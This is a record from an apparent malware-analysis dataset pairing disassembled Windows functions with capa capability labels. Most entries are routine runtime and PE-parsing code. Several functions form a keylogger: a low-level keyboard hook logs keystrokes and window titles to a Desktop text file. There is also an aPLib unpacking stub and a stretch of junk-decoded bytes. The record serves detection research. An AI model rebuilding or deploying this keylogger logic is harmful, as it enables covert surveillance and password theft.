joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x14000b110]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x14000b120]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x14000e008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x14000b070]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x14000b100]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x14000e028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x14000e020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x14000e020], rbp
call dbg.__main
mov rax, qword [0x14000b090]
mov r8, qword [0x14000e018]
mov ecx, dword [0x14000e028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x14000e020]
call sym.main
mov ecx, dword [0x14000e00c]
mov dword [0x14000e010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x14000e008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x14000b120]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x14000b150]
mov rcx, qword [0x14000b140]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x14000e010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x14000b170]
mov rcx, qword [0x14000b160]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x14000238b
Capabilities:
Get graphical window text
Log keystrokes via polling
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
lea rax, [0x14000a8f0]
mov rdx, rax
lea rax, [0x14000e040]
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [0x14000e158]
cmp qword [rbp - 0x10], rax
je 0x14000247f
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextLengthA]
call rax
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
add eax, 1
mov eax, eax
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x20], rax
mov eax, dword [rbp - 0x14]
lea ecx, [rax + 1]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0xa
call sym.fputc
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fputs
mov rax, qword [rbp - 8]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.___
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x10]
mov qword [0x14000e158], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax]
mov dword [rbp - 0x2c], eax
cmp qword [rbp + 0x18], 0x100
je 0x1400024a6
cmp qword [rbp + 0x18], 0x104
je 0x1400024ec
jmp 0x140002514
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x2c]
mov ecx, eax
call sym.basic_key_int___iobuf_
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400024dc
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x2c]
mov ecx, eax
call sym.shift_key_int___iobuf_
jmp 0x140002544
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x2c]
mov ecx, eax
call sym.no_shift_key_int___iobuf_
jmp 0x140002544
mov ecx, 0x11
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140002543
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x2c]
mov ecx, eax
call sym.altgr_key_int___iobuf_
jmp 0x140002543
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
mov eax, dword [rbp + 0x10]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
jmp 0x140002555
nop
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x14000255b
Capabilities:
Get session user name
Log keystrokes via application hook
Write file on windows

Disassembly:
push rbp
sub rsp, 0x180
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x110], ecx
mov qword [rbp + 0x118], rdx
call dbg.__main
mov dword [rbp - 0x24], 0x101
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
movabs rax, 0x73726573555c3a43
mov qword [0x14000e040], rax
mov word [0x14000e048], 0x5c
lea rax, [rbp - 0x20]
mov rdx, rax
lea rax, [0x14000e040]
mov rcx, rax
call sym.strcat
lea rax, [0x14000e040]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14000e040]
add rax, rdx
movabs rdx, 0x706f746b7365445c
movabs rcx, 0x78742e617461645c
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov word [rax + 0x10], 0x74
lea rax, [0x14000a8f0]
mov rdx, rax
lea rax, [0x14000e040]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0xf8]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rax, str.LOGS:_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0xf8]
mov rcx, rax
call sym.fclose
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
jne 0x140002681
mov eax, 1
jmp 0x140002723
mov rax, qword [rbp + 0xf0]
mov r9d, 0
mov r8, rax
lea rax, [sym.LowLevelKeyboardProc_int__unsigned_long_long__long_long_]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [rbp + 0xe8], rax
lea rax, str.Program_successfully_hooked._n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x1400026e1
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x60]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
setne al
test al, al
jne 0x1400026c1
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
mov eax, 0
add rsp, 0x180
pop rbp
ret

Function at 0x1400029f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e1c4]
mov rbx, rcx
test esi, esi
jle 0x140002b90
mov rax, qword [0x14000e1c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002aab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002b35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002a90
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002bb2
mov rax, qword [0x14000e1c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e1c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002b97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002b2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002b40
add dword [0x14000e1c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e1c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002b2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002ab8
mov rax, qword [0x14000e1c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003120
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e220]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e200]
test rbx, rbx
je 0x14000317c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003173
test rsi, rsi
je 0x140003173
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003158
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140003390
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400033a8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400033b0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400033c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000340d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140003404
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000340f
add rax, 0x28
cmp rax, r9
jne 0x1400033f0
xor eax, eax
ret

Function at 0x140003410
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400034a0
mov rdx, qword [0x14000b080]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000348e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000348e
cmp word [rax + 0x18], 0x20b
jne 0x14000348e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400034a0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140003479
add rbx, 0x28
cmp rbx, rdi
je 0x1400034a0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140003470
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400034b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b080]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400034d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400034d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400034d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000352d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003524
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400034d0
add rax, 0x28
cmp rax, r9
jne 0x140003510
xor eax, eax
ret

Function at 0x140003530
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b080]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000354f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003558
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000354f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003570
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000b080]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140003590
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140003598
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140003590
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400035e0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400035d7
test rcx, rcx
je 0x140003590
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400035c8
xor eax, eax
ret
Function at 0x1400035f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b080]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000360f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003618
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140003630
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b080]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003650
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003658
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003650
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140003650
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400036a4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400036b0
add rdx, 0x28
cmp r9, rdx
jne 0x140003690
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400036c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000b080]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400036e2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400036f0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400036e2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400036e2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400036e2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140003745
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140003758
add rdx, 0x28
cmp rdx, r10
jne 0x140003730
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003767
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140003777
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000374e
test ecx, ecx
jg 0x140003760
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1405c4058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1405c41df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405c4089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405c406f
add dl, dl
jne 0x1405c4096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405c40f6
xor eax, eax
add dl, dl
jne 0x1405c40a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405c41ad
add dl, dl
jne 0x1405c40b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405c40c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405c40d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405c40dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405c40ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405c407e
mov eax, 1
add dl, dl
jne 0x1405c4106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405c4113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405c40fb
sub eax, ebx
mov ebx, 1
jne 0x1405c414c
mov ecx, 1
add dl, dl
jne 0x1405c412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405c413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405c4123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405c407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405c4168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405c4175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405c415d
cmp eax, 0x7d00
jae 0x1405c419b
cmp eax, 0x500
jb 0x1405c4196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405c407e
cmp eax, 0x7f
ja 0x1405c419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405c407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405c41d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405c407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004907
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.1400123e0
mov r15, qword [0x14002048c]
cmp r15, 1
jne 0x1400049d6
push qword [0x14002057c]
pop rcx
call fcn.14000d5b4
mov r15, rax
and r15, r15
jle 0x14000496c
mov rcx, qword [0x14002057c]
call fcn.14000d5bc
mov rcx, qword [0x14002057c]
call fcn.14000d5d0
or rax, rax
je 0x14000496c
mov rbp, qword [0x140020584]
push qword [rbp + 0x10]
pop rcx
call fcn.14000da6c
jmp 0x140004949
push qword [0x14002056c]
pop rcx
call fcn.14000d5b4
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400049d6
push 5
push 0
push 1
push qword [0x14002056c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009070
mov rcx, qword [0x14002056c]
call fcn.14000d5bc
mov rcx, qword [0x14002056c]
call fcn.14000d5d0
or rax, rax
je 0x1400049d6
mov rbp, qword [0x140020574]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.DLL_RemoveDirectoryW
jmp 0x1400049b3
mov rax, 1
jmp 0x1400049e2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006a58
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.DLL_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.DLL_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.DLL_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
out 0xfe, eax
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, dl
xlatb
xlatb
or eax, 0x61e4e2e4
in al, 0xe1
in al, 0x72
jrcxz 0x14003f5b9
loop 0x14003f5bb
invalid
fild dword [rax + 0x7f]
jg 0x14003f662
add dh, byte [rdx + 0x49]
jb 0x14003f62f
push rsp
jbe 0x14003f592
mov ebx, dword [rsi - 0x142c2203]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jg 0x14003f6bd
jg 0x14003f642
invalid
inc dword [rcx]
cmpsd dword [rsi], dword [rdi]
jnp 0x14003f5d5
pop rbp
stosd dword [rdi], eax
jbe 0x14003f5e1
test ebx, 0xbffecea3
scasb al, byte [rdi]
fdivr st(6)
sal byte [rbp - 0x56460121], 0xdc
inc bh
mov esp, 0xb8c8fef1
mov edi, 0xc0fed8ae
mov ch, 0xdf
invalid
invalid
fsubr qword [0x15c715ad9]
sub eax, 0x1c6d646d
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
shr dword [rdi - 0x33c6636], cl
mov esi, 0xd8fedaac
fcomp st(7)
hlt
invalid
hlt
mov edx, 0xbed8fee4
fdivrp st(3)
sar dword [rdi + rcx*8 + 0x68647d41], cl
jge 0x14003f72e
push 0xffffffff93889c47
hlt
jns 0x14003f73b
jo 0x14003f665
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
Function at 0x1400045b0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x1400045e0
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x1400045df
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400045e5
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x1400045df
mov eax, 0
jmp 0x1400045df